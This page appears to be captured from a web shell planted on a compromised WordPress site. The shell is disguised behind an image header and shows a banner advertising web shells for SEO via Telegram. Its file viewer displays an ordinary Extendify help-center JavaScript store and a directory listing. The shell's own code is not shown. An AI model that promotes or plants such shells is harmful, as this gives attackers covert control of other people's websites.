����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { safeParseJson } from '@shared/lib/parsing';
import apiFetch from '@wordpress/api-fetch';
import { create } from 'zustand';
import { createJSONStorage, devtools, persist } from 'zustand/middleware';
const startingState = {
articles: [],
recentArticles: [],
viewedArticles: [],
searchTerm: '',
// initialize the state with default values
...(safeParseJson(window.extHelpCenterData.userData.supportArticlesData)
?.state ?? {}),
};
const state = (set, get) => ({
...startingState,
pushArticle: (article) => {
const { slug, title } = article;
const state = get();
const lastViewedAt = new Date().toISOString();
const firstViewedAt = lastViewedAt;
const viewed = state.viewedArticles.find((a) => a.slug === slug);
const viewedArticles = [
// Remove the article if it's already in the list
...state.viewedArticles.filter((a) => a.slug !== slug),
// Either add the article or update the count
viewed
? { ...viewed, count: viewed.count + 1, lastViewedAt }
: {
slug,
title,
firstViewedAt,
lastViewedAt,
count: 1,
},
];
// Persist the detailed history to the server (don't wait for response)
apiFetch({
path: '/extendify/v1/help-center/support-articles-data',
method: 'POST',
data: { state: { viewedArticles } },
});
set({
articles: [article, ...state.articles],
recentArticles: [article, ...state.recentArticles.slice(0, 9)],
viewedArticles,
});
},
popArticle: () => set((state) => ({ articles: state.articles.slice(1) })),
clearArticles: () => set({ articles: [] }),
reset: () => set({ articles: [], searchTerm: '' }),
updateTitle: (slug, title) =>
set((state) => ({
articles: state.articles.map((article) => {
// We don't always know the title until after we fetch the article data
if (article.slug === slug) {
article.title = title;
}
return article;
}),
})),
clearSearchTerm: () => set({ searchTerm: '' }),
setSearchTerm: (searchTerm) => set({ searchTerm }),
});
export const useKnowledgeBaseStore = create(
persist(devtools(state, { name: 'Extendify Help Center Knowledge Base' }), {
name: `extendify-help-center-knowledge-base-${window.extSharedData.siteId}`,
storage: createJSONStorage(() => sessionStorage),
}),
);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ai-chat.js | File | 1.14 KB | 0644 |
|
| globals-sync.js | File | 686 B | 0644 |
|
| knowledge-base.js | File | 2.22 KB | 0644 |
|
| tours.js | File | 6.51 KB | 0644 |
|
| user-selections.js | File | 985 B | 0644 |
|